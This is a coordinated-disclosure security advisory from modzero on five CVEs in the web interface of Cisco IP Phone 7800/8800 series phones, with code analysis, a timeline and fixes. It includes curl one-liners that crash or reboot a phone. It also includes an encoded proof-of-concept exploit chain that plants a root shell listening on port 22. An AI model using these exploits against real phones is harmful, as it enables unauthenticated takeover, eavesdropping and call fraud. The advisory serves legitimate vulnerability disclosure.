-----------------------------------------------------------------v2-- modzero Security Advisory: Multiple vulnerabilities in the web interface of the Cisco IP Phone 7800 and 8800 series [MZ-19-01] --------------------------------------------------------------------- --------------------------------------------------------------------- 1. Timeline --------------------------------------------------------------------- * 2018-06-28: Report with findings delivered to a customer and findings have been reported by our customer to Cisco. * 2018-11-21: This advisory has been sent to the Cisco security team (psirt@cisco.com) to get a status regarding security patches. * 2018-11-21: Initial response from PSIRT to us. * 2018-12-17: Received Cisco bug IDs: CSCvn56168, CSCvn56175, CSCvn56194, CSCvn56213, CSCvn56221 * 2019-01-23: Information from Cisco that other phones are affected as well and they still work on a fix. * 2019-02-19: 90 days period for keeping detailed information back is over. * 2019-02-19: Cisco asks to extend period to 2019-03-20. Extension agreed by modzero. * 2019-03-06: Received CVE-IDs from Cisco * 2019-03-20: Cisco releases advisory and fixes * 2019-03-22: Advisory published --------------------------------------------------------------------- 2. Summary --------------------------------------------------------------------- Vendor: Cisco * 3.1 Buffer overflow in the phone's webserver CVE-2019-1716 modzero: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H -> 8.1 URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ip-phone-rce CVSS Base Score according to Cisco: 7.5 Affected products according to Cisco: * 10.3(1)SR5 for Unified IP Conference Phone 8831 * 11.0(4)SR3 for Wireless IP Phone 8821 and 8821-EX * 12.5(1)SR1 for the rest of the IP Phone 7800 and 8800 Series Not affected according to Cisco: * IP phones running Multiplatform Firmware * 3.2 Phone's web interface fails to restrict access to functions CVE-2019-1763 modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H -> 8.2 URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipab CVSS Base Score according to Cisco: 7.5 Affected products according to Cisco: * 11.0(5) for Wireless IP Phone 8821 and 8821-EX * 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the IP Phone 8800 Series Not affected according to Cisco: * IP Conference Phone 8831 * IP phones running Multiplatform Firmware * 3.3 File upload vulnerability in the phone's web interface CVE-2019-1766 modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H -> 9.1 URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipfudos CVSS Base Score according to Cisco: 7.5 Affected products according to Cisco: * IP Phone 8800 Series products running a SIP Software release prior to 12.5(1)SR1 Not affected according to Cisco: * Cisco IP Phone 7800 Series * Cisco IP Conference Phone 7832 * Cisco Wireless IP Phone 8821(-EX) * Cisco IP Conference Phone 8831 * Cisco IP Conference Phone 8832 * IP phones running Multiplatform Firmware * 3.4 Phone's file upload affected by path traversal and null injection CVE-2019-1765 modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H -> 9.1 URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipptv CVSS Base Score according to Cisco: 8.1 Affected products according to Cisco: * 11.0(5) for Wireless IP Phone 8821-EX * 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the IP Phone 8800 Series Not affected according to Cisco: * Cisco IP Phone 7800 Series * Cisco IP Conference Phone 8831 * Cisco IP Conference Phone 7832 * IP phones running Multiplatform Firmware * 3.5 Anti-Cross-Site Request Forgery Token ineffective in Phone's upload function CVE-2019-1764 modzero: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H -> 7.3 URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ip-phone-csrf CVSS Base Score according to Cisco: 8.1 Affected products according to Cisco: * 11.0(5) for Wireless IP Phone 8821-EX * 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the IP Phone 8800 Series Not affected according to Cisco: * Cisco IP Phone 7800 Series * Cisco IP Conference Phone 8831 * Cisco IP Conference Phone 7832 * IP phones running Multiplatform Firmware --------------------------------------------------------------------- 3. Details --------------------------------------------------------------------- 3.1 Buffer overflow in the phone's webserver The embedded web-server running on the Cisco IP phones suffers from a buffer-overflow vulnerability. During testing, it was confirmed that a maliciously crafted, unauthenticated request is able to trigger the vulnerability and results in re-booting of the phone. Further analysis of the phone firmware showed that the vulnerability may result in remote code execution in the context of the web server process. The vulnerable function is extractUsernameAndPassword() for the analyzed CP-8832 and CP-8845/65 phone firmware versions. The function is called whenever a HTTP request needs to be authenticated according to the HTTP "Basic" authentication schema. First, the function allocates a 257 byte-sized temporary buffer tmp_buf on the stack. Then, the HTTP authorization header is acquired through the HTTP connection object conn. The authorization header is decoded from base64 representation by the function decodeUserPassword() and stored into tmp_buf. Before calling decodeUserPassword(), the authorization header string length is not processed safely. The pseudo-code below highlights the problematic computation step: char tmp_buf[257]; memset(tmp_buf, 0, sizeof(tmp_buf)); [...] unsigned len = strlen(authorization_header); len = len & 0xffff; decodeUserPassword(authorization_header, len, tmp_buf); Instead, the following code should have been employed to correctly limit the input to the decodeUserPassword() function as follows: char tmp_buf[257]; memset(tmp_buf, 0, sizeof(tmp_buf)); [...] unsigned len = strlen(authorization_header); if (len > 340) len = 340; // b64-dec is 8 to 6 bit transform decodeUserPassword(authorization_header, len, tmp_buf); Because of this programming error, an input of up to 65535 characters can be passed to decodeUserPassword(), which will in consequence decode and write up to 49152 bytes into tmp_buf and the subsequent memory area on the stack. The saved stack pointer and program counter are located right behind tmp_buf and therefore can be overwritten with arbitrary values. When the function extractUsernameAndPassword() returns, the modified stack pointer and program counter are loaded from memory. When arbitrary garbage values are supplied, the program will typically crash and the phone will reboot. It is likely that with sufficient knowledge of the memory layout and program state, an attacker may inject carefully prepared data and execute arbitrary code. The following HTTP request was shown to trigger the vulnerability (HTTP authorization header truncated for readability): GET /CGI/Java/x HTTP/1.1 Host: localhost User-Agent: curl/7.58.0 Accept: */* Authorization: Basic iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii... Connection: close Such a request can be generated with the command below and sent to the HTTP or HTTPS port of the phone's web server: curl -k -u `seq -s: 999` -d 1 https:///CGI/Java/CallInfo In a disassembly of the vulnerable function extractUsernameAndPassword() it can be observed that the code lacks set-up and validation of stack canaries in the function prolog and epilog. Therefore, an attacker is able to trivially overwrite the saved program counter located on the stack. The underlying Linux kernel has Address-Space Layout Randomization (ASLR) enabled (/proc/sys/kernel/randomize_va_space was observed to be set to the value 2), but the verbose externally exposed message log via the web server contains memory addresses from the HTTP server processes as shown below. Therefore, an attacker is likely to correctly guess memory addresses and becomes able to defeat the ASLR countermeasure. 7923 DEB Jun 11 10:12:03.235178 (709:818) JAVA-Sec SSL Connection - Added SSL connection handle 0x40f82660, connDesc 90 to table. 3.2 Phone's web interface fails to restrict access to functions The IP phone's web server implements authorization checks to control access to functions. A programming error allows to bypass these checks and access internal functions without authentication. For example, the phone can be rebooted. This issue facilitated the proof-of-concept exploit to gain remote root access to IP phones described in the chapter 5. Internally, web pages that allow interaction with internal functions (in contrast to web pages that only display information) are called "editable pages". If an incoming request is recognized to access an editable page, further checks for authentication and authorization are performed. The disassembly of the vulnerable function isEditablePage() in the two firmware versions is rewritten as the pseudo-code below and illustrates how the function employs strcmp() to analyze incoming HTTP requests. It fails to produce the correct result when the input does not exactly match the test strings. This is possible for example, when the parameter string contains additional but insignificant characters like an ampersand ('&'). int isEditablePage( char *uri, // query path char *params, // query parameters ) { return ( strcmp(uri, "/CGI/Java/Serviceability") == 0 && ( strcmp(params, "adapter=datetime") == 0 || strcmp(params, "adapter=datetimelocal") == 0 || strcmp(params, "adapter=datetimespec") == 0 || ... ) ) || ... ; } The following command exploits the described behavior to reboot the phone. curl -k -d 1 "https:///CGI/Java/Serviceability?adapter=do_restart&" Another exploit of the described issue is shown in chapter 5. 3.3 File upload vulnerability in the phone's web interface The IP phone contains a function that allows uploading of files to the phone's file system. It is usually employed to upload custom certificates and constructed in a non-standard way, i.e. it already writes data to a local file during an initial parameter parsing step. As a consequence, it is possible to write arbitrary file contents, even when later processing steps fail or no further actions are performed on the data. This may lead to denial-of-service conditions, for example storage media failure or storage space exhaustion. The ability to persist arbitrary data on the device facilitated creation of the exploit described in the chapter 5. The problematic file upload function is implemented in Java. Incoming HTTP POST requests are handled by the doPost method. When the parameter adapter is equal to "loginPost", "upload_usercert" or "upload_rootca", the method parseFormResults() is called to process the request body. parseFormResults() iterates over all body parts and in turn calls parseHeader() for each. Instead of postponing any data processing steps until all input has fully been validated, the method parseFormResults() has the side-effect of writing the parts named "rootca" and "usercert" to the file system. 3.4 Phone's file upload affected by path traversal and null injection The IP phones contain a file upload function which is vulnerable to path traversal and null byte injection. An attacker is able to write to arbitrary files in the file system, with permissions of the web server process. The proof of concept exploit in the chapter 5 shows how this issue enabled writing to configuration file locations to place a persistent back-door on the phone. The problematic file upload function is implemented in Java. The parseHeader() method constructs target file paths with the two following statements: this.usercertFileName = "/usr/local/wifi/rootca/" + this.rootca + ".up"; this.usercertFileName = "/usr/local/wifi/usercert/" + this.usercert + ".up"; An attacker directly controls the member variables rootca and usercert. By prefixing a desired path with a sequence of dots and slashes and terminating the string with a null character, an arbitrary file path can be written to. 3.5 Anti-Cross-Site Request Forgery Token ineffective in Phone's upload function The web interface available on the phones contains an upload function for user-provided certificates. To protect against Cross-Site Request Forgery (CSRF) attacks, an Anti-CSRF token is employed. But the Anti- CSRF token is validated too late, after input data has already been written to the file system. Therefore, the Anti-CSRF token is ineffective and does not protect the upload function from CSRF attacks. An attacker may abuse this behavior to exploit security vulnerabilities in the phone's web server in a CSRF-scenario: For example, by luring an internet-connected victim web browser onto an attacker-controlled page. If the (possibly authenticated) victim also has access to the phone's web server, the attacker-controlled page may submit malicious requests to the phone. The method parseFormResults() in the upload implementation verifies the CSRFToken parameter as final step. This is insufficient, because actions with substantial side-effects have already been performed before the check raises an exception. The exception caused by failure of the CSRFToken check does not inhibit exploitation of vulnerabilities, as demonstrated by the proof-of-concept in chapter 5. --------------------------------------------------------------------- 4. Impact --------------------------------------------------------------------- modzero identified several critical vulnerabilities in Cisco phone web interfaces which lead to a full compromise of the phone without any authentication. An attacker could exploit these vulnerabilities to obtain sensitive call data, to perform call fraud, as well as an audio and video surveillance of offices, and to use the phones as attack platform for other infrastructure. --------------------------------------------------------------------- 5. Proof of concept exploit --------------------------------------------------------------------- An IP phone (model CP-8865, firmware version cmterm-8845_65.12-0-1SR1- 1) was successfully compromised via exploitation of a combination of vulnerabilities. The command below performs a carefully constructed HTTP request to the phone's web server to exploit the vulnerabilities documented in this advisory: echo "H4sIANX2IlsCA5WPwWoDMQxEexbsP5jcvS45JuRbimsricCxjCynLiX/Hu+ylFx6KOgwe jAzjLW99wkCZ8WsNlItXE"\ "mJ88GcWW42evVHk/0NT8KsYTxnSriC3Ty732tVXOLgk+uUUaPrb7sJlpgJJqgodwpoOvy Afhc0J9NyoqoYoQgrB06DaSjw5"\ "UmHzAxtuIZ6h4twK6taclboPim7et3Ah5dLHdQSFJbFvt/DY/Taf+xb6gKK/rXw7sVJy9 u+uVB8Xbh1WQtPExeckFQBAAA="| base64 -d|gunzip|curl -k --data-binary @- -H "Content-Type: multipart/form-data; boundary=xxx" \ "https:///CGI/Java/Serviceability?adapter=loginPost&" The first exploited vulnerability is the issue described in section 3.1: The authorization check to access the loginPost function is bypassed by appending an ampersand (`&') symbol to the URL. The input payload data is written to the file system due to the file upload vulnerability described in section 3.3. By exploiting the path traversal and null injection vulnerability documented in section 3.4, an internal path can be specified to write into configuration files. The attacker does not provide a valid anti-CSRF token, which causes the server to respond with HTTP error 400 Bad Request. But this does not stop the attack, because of the vulnerable anti-CSRF token validation mechanism described in section 3.5. The malicious request writes two files. First, a configuration for a backdoor xinetd service is written to the location /usr/local/xinetd/x. The service consists of a root (user 0) shell listening on tcp port 22. (Port 22 was selected, because observed firewall configuration suggested that traffic to this port is typically allowed and expected. If another service is already active on port 22, this may need to be adjusted.) The xinetd configuration is reproduced below: service x { type = unlisted protocol = tcp wait = no user = 0 group = 0 server = /bin/sh server_args = -i port = 22 } The second part of the requests writes the empty string to /var/run/xinetd.pid, effectively truncating the file. This file is periodically inspected by the cron script located in /etc/cron.5mins/02xinetdmon, which is shown below. The cron script executes every fifth minute in the hour and after xinetd.pid was tampered with, will ensure that xinetd starts with the backdoor configuration. #!/bin/sh xinetd_pid=$( cat /var/run/xinetd.pid ) if [ -z "$xinetd_pid" -o ! -d /proc/"$xinetd_pid" ]; then # In dd/mm/yy/hour/min/sec format currtime=$(date +"%d%m%y%H%M%S") echo "$currtime: cannot find xinetd" >> /usr/local/backtraces/xinetd.crash echo "$currtime: starting xinetd" >> /usr/local/backtraces/xinetd.crash /etc/init.d/xinetd.sh start fi After waiting until the next fifth minute has passed, the backdoor service is started and can be accessed via connecting to port 22 of the phone. --------------------------------------------------------------------- 6. Workaround --------------------------------------------------------------------- Disabling the web interface on the phone eliminates the risk. --------------------------------------------------------------------- 7. Fix --------------------------------------------------------------------- According to the Cisco advisories, fixes are available. --------------------------------------------------------------------- 8. Credits --------------------------------------------------------------------- * David Gullasch --------------------------------------------------------------------- 9. About modzero --------------------------------------------------------------------- The independent Swiss company modzero AG assists clients with security analysis in the complex areas of computer technology. The focus lies on highly detailed technical analysis of concepts, software and hardware components as well as the development of individual solutions. Colleagues at modzero AG work exclusively in practical, highly technical computer-security areas and can draw on decades of experience in various platforms, system concepts, and designs. https://www.modzero.ch contact@modzero.ch --------------------------------------------------------------------- 10. Disclaimer --------------------------------------------------------------------- The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.